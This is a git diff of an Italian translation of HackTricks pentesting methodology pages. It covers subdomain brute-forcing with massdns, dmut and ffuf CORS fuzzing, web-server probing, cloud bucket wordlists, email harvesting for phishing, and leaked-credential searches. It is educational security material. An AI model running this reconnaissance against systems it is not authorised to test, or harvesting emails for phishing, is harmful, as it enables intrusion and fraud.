E anche gli IP dei buoni risolutori DNS. Per generare un elenco di risolutori DNS affidabili, puoi scaricare i risolutori da [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e utilizzare [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) per filtrarli. Oppure potresti utilizzare: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
E anche gli IP dei buoni risolutori DNS. Per generare una lista di risolutori DNS affidabili puoi scaricare i risolutori da [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e utilizzare [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) per filtrarli. Oppure potresti utilizzare: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||||
|
|
||||||
Gli strumenti più raccomandati per il DNS brute-force sono:
|
Gli strumenti più raccomandati per il DNS brute-force sono:
|
||||||
|
|
||||||
* [**massdns**](https://github.com/blechschmidt/massdns): Questo è stato il primo strumento che ha eseguito un efficace DNS brute-force. È molto veloce ma è incline ai falsi positivi.
|
* [**massdns**](https://github.com/blechschmidt/massdns): Questo è stato il primo strumento che ha eseguito un efficace DNS brute-force. È molto veloce ma è soggetto a falsi positivi.
|
||||||
```bash
|
```bash
|
||||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||||
|
@ -385,7 +385,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||||
```
|
```
|
||||||
### Secondo Round di Brute-Force DNS
|
### Secondo Round di Brute-Force DNS
|
||||||
|
|
||||||
Dopo aver trovato sottodomini utilizzando fonti aperte e brute-force, potresti generare delle alterazioni dei sottodomini trovati per cercarne ancora di più. Diversi strumenti sono utili a questo scopo:
|
Dopo aver trovato sottodomini utilizzando fonti aperte e brute-forcing, potresti generare delle alterazioni dei sottodomini trovati per cercarne ancora di più. Diversi strumenti sono utili a questo scopo:
|
||||||
|
|
||||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dato il dominio e i sottodomini, genera permutazioni.
|
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dato il dominio e i sottodomini, genera permutazioni.
|
||||||
```bash
|
```bash
|
||||||
|
@ -401,12 +401,12 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
||||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||||
```
|
```
|
||||||
* [**altdns**](https://github.com/infosec-au/altdns): Oltre a generare le permutazioni dei sottodomini, può anche provare a risolverli (ma è meglio utilizzare gli strumenti precedentemente commentati).
|
* [**altdns**](https://github.com/infosec-au/altdns): Oltre a generare le permutazioni dei sottodomini, può anche provare a risolverli (ma è meglio utilizzare gli strumenti precedentemente commentati).
|
||||||
* È possibile ottenere la **wordlist** delle permutazioni di altdns [**qui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
* È possibile ottenere la lista di parole per le permutazioni di altdns **qui** (https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||||
```
|
```
|
||||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||||
```
|
```
|
||||||
* [**dmut**](https://github.com/bp0lr/dmut): Un altro strumento per eseguire permutazioni, mutazioni e alterazioni dei sottodomini. Questo strumento forzerà il risultato (non supporta il wild card dns).
|
* [**dmut**](https://github.com/bp0lr/dmut): Un altro strumento per eseguire permutazioni, mutazioni e alterazioni dei sottodomini. Questo strumento forzerà il risultato (non supporta il wild card dns).
|
||||||
* È possibile ottenere la wordlist delle permutazioni di dmut [**qui**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
* È possibile ottenere la lista di parole per le permutazioni di dmut [**qui**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||||
```bash
|
```bash
|
||||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||||
|
@ -421,13 +421,13 @@ python3 main.py adobe.com adobe adobe.rules
|
||||||
make_brute_list.sh adobe.rules adobe.brute
|
make_brute_list.sh adobe.rules adobe.brute
|
||||||
puredns resolve adobe.brute --write adobe.valid
|
puredns resolve adobe.brute --write adobe.valid
|
||||||
```
|
```
|
||||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ è un fuzzer di forza bruta per subdomini abbinato a un algoritmo guidato dalle risposte DNS estremamente semplice ma efficace. Utilizza un insieme fornito di dati di input, come un elenco di parole personalizzato o record storici DNS/TLS, per sintetizzare accuratamente più nomi di dominio corrispondenti ed espanderli ulteriormente in un ciclo basato sulle informazioni raccolte durante la scansione DNS.
|
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ è un fuzzer di forza bruta per subdomini abbinato a un algoritmo immensamente semplice ma efficace guidato dalle risposte DNS. Utilizza un insieme fornito di dati di input, come un elenco di parole personalizzato o record storici DNS/TLS, per sintetizzare accuratamente più nomi di dominio corrispondenti ed espanderli ulteriormente in un ciclo basato sulle informazioni raccolte durante la scansione DNS.
|
||||||
```
|
```
|
||||||
echo www | subzuf facebook.com
|
echo www | subzuf facebook.com
|
||||||
```
|
```
|
||||||
### **Flusso di scoperta dei sottodomini**
|
### **Flusso di scoperta dei sottodomini**
|
||||||
|
|
||||||
Controlla questo post sul blog che ho scritto su come **automatizzare la scoperta dei sottodomini** da un dominio utilizzando **i workflow di Trickest** in modo da non dover avviare manualmente un mucchio di strumenti sul mio computer:
|
Controlla questo post sul blog che ho scritto su come **automatizzare la scoperta dei sottodomini** da un dominio utilizzando **i workflow di Trickest** in modo da non dover avviare manualmente una serie di strumenti sul mio computer:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
||||||
|
|
||||||
|
@ -463,7 +463,7 @@ Con questa tecnica potresti persino essere in grado di accedere a endpoint inter
|
||||||
|
|
||||||
### **Forza Bruta CORS**
|
### **Forza Bruta CORS**
|
||||||
|
|
||||||
A volte troverai pagine che restituiscono solo l'intestazione _**Access-Control-Allow-Origin**_ quando un dominio/sottodominio valido è impostato nell'intestazione _**Origin**_. In questi scenari, puoi abusare di questo comportamento per **scoprire** nuovi **sottodomini**.
|
A volte troverai pagine che restituiscono solo l'intestazione _**Access-Control-Allow-Origin**_ quando viene impostato un dominio/sottodominio valido nell'intestazione _**Origin**_. In questi scenari, puoi abusare di questo comportamento per **scoprire** nuovi **sottodomini**.
|
||||||
```bash
|
```bash
|
||||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||||
```
|
```
|
||||||
|
@ -474,22 +474,22 @@ Inoltre, a questo punto saprai tutti i domini all'interno del perimetro, prova a
|
||||||
|
|
||||||
### **Monitoraggio**
|
### **Monitoraggio**
|
||||||
|
|
||||||
Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monitorando i **log di Certificate Transparency** che [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) fa.
|
Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monitorando i **log di Certificate Transparency** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) fa.
|
||||||
|
|
||||||
### **Ricerca di vulnerabilità**
|
### **Ricerca di vulnerabilità**
|
||||||
|
|
||||||
Controlla possibili [**takeover di sottodomini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
Controlla possibili [**takeover di sottodomini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||||
Se il **sottodominio** punta a un **bucket S3**, [**controlla le autorizzazioni**](../../network-services-pentesting/pentesting-web/buckets/).
|
Se il **sottodominio** punta a un **bucket S3**, [**controlla le autorizzazioni**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||||
|
|
||||||
Se trovi un **sottodominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
Se trovi un **sottodominio con un IP diverso** da quelli che hai già trovato nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||||
_Nota che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nella scoperta, fai attenzione._
|
_Nota che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nella scopo, fai attenzione._
|
||||||
|
|
||||||
## IP
|
## IP
|
||||||
|
|
||||||
Nei passaggi iniziali potresti aver **trovato alcuni range di IP, domini e sottodomini**.\
|
Nei passaggi iniziali potresti aver **trovato alcuni range di IP, domini e sottodomini**.\
|
||||||
È ora di **raccogliere tutti gli IP da quei range** e per i **domini/sottodomini (query DNS).**
|
È ora di **raccogliere tutti gli IP da quei range** e per i **domini/sottodomini (query DNS).**
|
||||||
|
|
||||||
Utilizzando servizi dalle seguenti **API gratuite** puoi trovare anche **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero consentirti di trovare [**bypass di CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
Utilizzando servizi delle seguenti **API gratuite** puoi trovare anche **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero consentirti di trovare [**bypass di CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||||
|
|
||||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||||
|
|
||||||
|
@ -505,19 +505,19 @@ Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizza
|
||||||
|
|
||||||
> Abbiamo trovato tutte le aziende e i loro asset e conosciamo i range di IP, i domini e i sottodomini all'interno del perimetro. È ora di cercare i server web.
|
> Abbiamo trovato tutte le aziende e i loro asset e conosciamo i range di IP, i domini e i sottodomini all'interno del perimetro. È ora di cercare i server web.
|
||||||
|
|
||||||
Nei passaggi precedenti probabilmente hai già eseguito un **riconoscimento degli IP e dei domini scoperti**, quindi potresti **già aver trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi veloci per cercare server web** all'interno del perimetro.
|
Nei passaggi precedenti probabilmente hai già eseguito un po' di **ricognizione degli IP e dei domini scoperti**, quindi potresti **già aver trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi veloci per cercare server web** all'interno del perimetro.
|
||||||
|
|
||||||
Si noti che questo sarà **orientato alla scoperta delle app web**, quindi dovresti **eseguire la scansione di vulnerabilità** e **delle porte** anche (**se consentito** dal perimetro).
|
Si noti che questo sarà **orientato alla scoperta delle app web**, quindi dovresti **eseguire la scansione di vulnerabilità** e **delle porte** anche (**se consentito** dal perimetro).
|
||||||
|
|
||||||
Un **metodo rapido** per scoprire le **porte aperte** relative ai **server web** utilizzando [**masscan** può essere trovato qui](../pentesting-network/#http-port-discovery).\
|
Un **metodo veloce** per scoprire le **porte aperte** relative ai **server web** utilizzando [**masscan** può essere trovato qui](../pentesting-network/#http-port-discovery).\
|
||||||
Un altro strumento utile per cercare server web è [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Basta passare un elenco di domini e proverà a connettersi alla porta 80 (http) e 443 (https). Inoltre, puoi indicare di provare altre porte:
|
Un altro strumento utile per cercare server web è [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Basta passare un elenco di domini e cercherà di connettersi alla porta 80 (http) e 443 (https). Inoltre, puoi indicare di provare altre porte:
|
||||||
```bash
|
```bash
|
||||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||||
```
|
```
|
||||||
### **Screenshot**
|
### **Screenshot**
|
||||||
|
|
||||||
Ora che hai scoperto **tutti i server web** presenti nel perimetro (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove cominciare**. Quindi, semplifichiamoci e iniziamo semplicemente facendo degli screenshot di tutti loro. Già **dando un'occhiata** alla **pagina principale** puoi trovare **endpoint strani** che sono più **suscettibili** di essere **vulnerabili**.
|
Ora che hai scoperto **tutti i server web** presenti nel perimetro (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove iniziare**. Quindi, semplifichiamoci e iniziamo semplicemente facendo degli screenshot di tutti loro. Già **dando un'occhiata** alla **pagina principale** puoi trovare **endpoint strani** che sono più **suscettibili** di essere **vulnerabili**.
|
||||||
|
|
||||||
Per eseguire l'idea proposta puoi utilizzare [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
Per eseguire l'idea proposta puoi utilizzare [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||||
|
|
||||||
|
@ -525,9 +525,9 @@ Inoltre, potresti poi utilizzare [**eyeballer**](https://github.com/BishopFox/ey
|
||||||
|
|
||||||
## Risorse Cloud Pubbliche
|
## Risorse Cloud Pubbliche
|
||||||
|
|
||||||
Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una società di criptovalute potresti utilizzare parole come: `"crypto", "wallet", "dao", "<nome_dominio>", <"nomi_sottodomini">`.
|
Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto company potresti utilizzare parole come: `"crypto", "wallet", "dao", "<nome_dominio>", <"nomi_sottodomini">`.
|
||||||
|
|
||||||
Avrai anche bisogno di liste di parole comuni utilizzate nei bucket:
|
Avrai anche bisogno di liste di parole **comuni utilizzate nei bucket**:
|
||||||
|
|
||||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||||
|
@ -541,7 +541,7 @@ Ricorda che quando cerchi Risorse Cloud dovresti **cercare più che solo bucket
|
||||||
|
|
||||||
### **Ricerca di vulnerabilità**
|
### **Ricerca di vulnerabilità**
|
||||||
|
|
||||||
Se trovi cose come **bucket aperti o funzioni cloud esposte** dovresti **accedervi** e cercare di capire cosa offrono e se puoi abusarne.
|
Se trovi cose come **bucket aperti o funzioni cloud esposte** dovresti **accedervi** e cercare di capire cosa ti offrono e se puoi abusarne.
|
||||||
|
|
||||||
## Email
|
## Email
|
||||||
|
|
||||||
|
@ -554,39 +554,39 @@ Con i **domini** e i **sottodomini** all'interno del perimetro hai praticamente
|
||||||
|
|
||||||
### **Ricerca di vulnerabilità**
|
### **Ricerca di vulnerabilità**
|
||||||
|
|
||||||
Le email saranno utili in seguito per **forzare l'accesso ai login web e ai servizi di autenticazione** (come SSH). Inoltre, sono necessarie per i **phishing**. Inoltre, questi API ti forniranno ancora più **informazioni sulla persona** dietro l'email, che è utile per la campagna di phishing.
|
Le email saranno utili in seguito per **forzare l'accesso ai login web e ai servizi di autenticazione** (come SSH). Inoltre, sono necessarie per i **phishing**. Inoltre, questi API ti daranno ancora più **informazioni sulla persona** dietro l'email, che è utile per la campagna di phishing.
|
||||||
|
|
||||||
## Fughe di Credenziali
|
## Fughe di Credenziali
|
||||||
|
|
||||||
Con i **domini,** **sottodomini** e **email** puoi iniziare a cercare credenziali trapelate in passato appartenenti a quelle email:
|
Con i **domini**, i **sottodomini** e le **email** puoi iniziare a cercare credenziali trapelate in passato appartenenti a quelle email:
|
||||||
|
|
||||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||||
|
|
||||||
### **Ricerca di vulnerabilità**
|
### **Ricerca di vulnerabilità**
|
||||||
|
|
||||||
Se trovi credenziali trapelate **valide**, questa è una vittoria molto facile.
|
Se trovi **credenziali trapelate valide**, questa è una vittoria molto facile.
|
||||||
|
|
||||||
## Fughe di Segreti
|
## Fughe di Segreti
|
||||||
|
|
||||||
Le fughe di credenziali sono legate agli hack di aziende in cui è stata **trapelata e venduta informazione sensibile**. Tuttavia, le aziende potrebbero essere colpite da **altre fughe** le cui informazioni non sono in quei database:
|
Le fughe di credenziali sono correlate a hack di aziende in cui è stata **trapelata e venduta informazione sensibile**. Tuttavia, le aziende potrebbero essere colpite da **altre fughe** le cui informazioni non sono in quei database:
|
||||||
|
|
||||||
### Fughe di Github
|
### Fughe su Github
|
||||||
|
|
||||||
Credenziali e API potrebbero essere trapelati nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quella azienda di github.\
|
Credenziali e API potrebbero essere trapelati nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quella azienda di github.\
|
||||||
Puoi utilizzare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repo pubblici** di un'**organizzazione** e dei suoi **sviluppatori** ed eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente.
|
Puoi utilizzare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repo pubblici** di un'**organizzazione** e dei suoi **sviluppatori** ed eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente.
|
||||||
|
|
||||||
**Leakos** può anche essere utilizzato per eseguire **gitleaks** su tutti i **testi** forniti **URL passati** ad esso poiché a volte le **pagine web contengono anche segreti**.
|
**Leakos** può anche essere utilizzato per eseguire **gitleaks** su tutti i **testi** forniti **URL passati** ad esso poiché a volte le **pagine web contengono anche segreti**.
|
||||||
|
|
||||||
#### Dork di Github
|
#### Dork su Github
|
||||||
|
|
||||||
Controlla anche questa **pagina** per potenziali **dork di github** che potresti cercare anche nell'organizzazione che stai attaccando:
|
Controlla anche questa **pagina** per potenziali **dork su github** che potresti cercare anche nell'organizzazione che stai attaccando:
|
||||||
|
|
||||||
{% content-ref url="github-leaked-secrets.md" %}
|
{% content-ref url="github-leaked-secrets.md" %}
|
||||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Fughe di Paste
|
### Fughe su Paste
|
||||||
|
|
||||||
A volte gli attaccanti o semplicemente i lavoratori **pubblicheranno contenuti aziendali in un sito di paste**. Questo potrebbe o potrebbe non contenere **informazioni sensibili**, ma è molto interessante cercarlo.\
|
A volte gli attaccanti o semplicemente i lavoratori **pubblicheranno contenuti aziendali in un sito di paste**. Questo potrebbe o potrebbe non contenere **informazioni sensibili**, ma è molto interessante cercarlo.\
|
||||||
Puoi utilizzare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per cercare contemporaneamente in più di 80 siti di paste.
|
Puoi utilizzare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per cercare contemporaneamente in più di 80 siti di paste.
|
||||||
|
@ -595,11 +595,11 @@ Puoi utilizzare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos)
|
||||||
|
|
||||||
I vecchi ma d'oro dork di Google sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di query possibili che non puoi eseguire manualmente. Quindi, puoi prendere i tuoi preferiti 10 o potresti utilizzare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirli tutti**.
|
I vecchi ma d'oro dork di Google sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di query possibili che non puoi eseguire manualmente. Quindi, puoi prendere i tuoi preferiti 10 o potresti utilizzare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirli tutti**.
|
||||||
|
|
||||||
_Nota che gli strumenti che si aspettano di eseguire l'intero database utilizzando il normale browser di Google non finiranno mai poiché Google ti bloccherà molto presto._
|
_Nota che gli strumenti che si aspettano di eseguire l'intero database utilizzando il normale browser di Google non finiranno mai poiché Google ti bloccherà molto molto presto._
|
||||||
|
|
||||||
### **Ricerca di vulnerabilità**
|
### **Ricerca di vulnerabilità**
|
||||||
|
|
||||||
Se trovi **credenziali trapelate** valide o token API, questa è una vittoria molto facile.
|
Se trovi **credenziali trapelate valide** o token API, questa è una vittoria molto facile.
|
||||||
|
|
||||||
## Vulnerabilità del Codice Pubblico
|
## Vulnerabilità del Codice Pubblico
|
||||||
|
|
||||||
|
@ -649,9 +649,9 @@ Ci sono diversi strumenti là fuori che eseguiranno parte delle azioni proposte
|
||||||
|
|
||||||
* Tutti i corsi gratuiti di [**@Jhaddix**](https://twitter.com/Jhaddix) come [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
* Tutti i corsi gratuiti di [**@Jhaddix**](https://twitter.com/Jhaddix) come [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nell'hacking** e ad hackerare l'inattaccabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
Se sei interessato a una **carriera nell'hacking** e a hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -2,11 +2,11 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -14,7 +14,7 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||||
|
|
||||||
|
@ -53,28 +53,28 @@ Una volta che sai quali servizi sono in esecuzione, e forse la loro versione, de
|
||||||
|
|
||||||
### **5-** Test dei Servizi
|
### **5-** Test dei Servizi
|
||||||
|
|
||||||
Se non c'è alcun exploit interessante per un servizio in esecuzione, dovresti cercare **comuni configurazioni errate in ciascun servizio in esecuzione.**
|
Se non c'è alcun exploit interessante per un servizio in esecuzione, dovresti cercare **comuni configurazioni errate in ogni servizio in esecuzione.**
|
||||||
|
|
||||||
**All'interno di questo libro troverai una guida per testare i servizi più comuni** (e altri meno comuni)**. Per favore, cerca nell'indice a sinistra la sezione** _**PENTESTING**_ **(i servizi sono ordinati per le loro porte predefinite).**
|
**All'interno di questo libro troverai una guida per testare i servizi più comuni** (e altri meno comuni)**. Per favore, cerca nell'indice a sinistra la sezione** _**PENTESTING**_ **(i servizi sono ordinati per le loro porte predefinite).**
|
||||||
|
|
||||||
**Voglio fare una menzione speciale alla parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(poiché è la più estesa).**\
|
**Voglio fare una menzione speciale alla parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(poiché è la più estesa).**\
|
||||||
Inoltre, puoi trovare una piccola guida su come [**trovare vulnerabilità conosciute nel software**](search-exploits.md) qui.
|
Inoltre, puoi trovare una piccola guida su come [**trovare vulnerabilità conosciute nel software**](search-exploits.md) qui.
|
||||||
|
|
||||||
**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se **non trovi nulla** su Google, esegui il tuo **pentesting alla cieca**, potresti iniziare **connetterti al servizio, fuzzarlo e leggere le risposte** (se presenti).
|
**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se **non trovi nulla** su Google, esegui il tuo **pentesting cieco**, potresti iniziare **connettendoti al servizio, fuzzing e leggendo le risposte** (se presenti).
|
||||||
|
|
||||||
#### 5.1 Strumenti Automatici
|
#### 5.1 Strumenti Automatici
|
||||||
|
|
||||||
Ci sono anche diversi strumenti che possono eseguire **valutazioni automatiche delle vulnerabilità**. **Ti consiglierei di provare** [**Legion**](https://github.com/carlospolop/legion)**, che è lo strumento che ho creato ed è basato sulle note sui test dei servizi che puoi trovare in questo libro.**
|
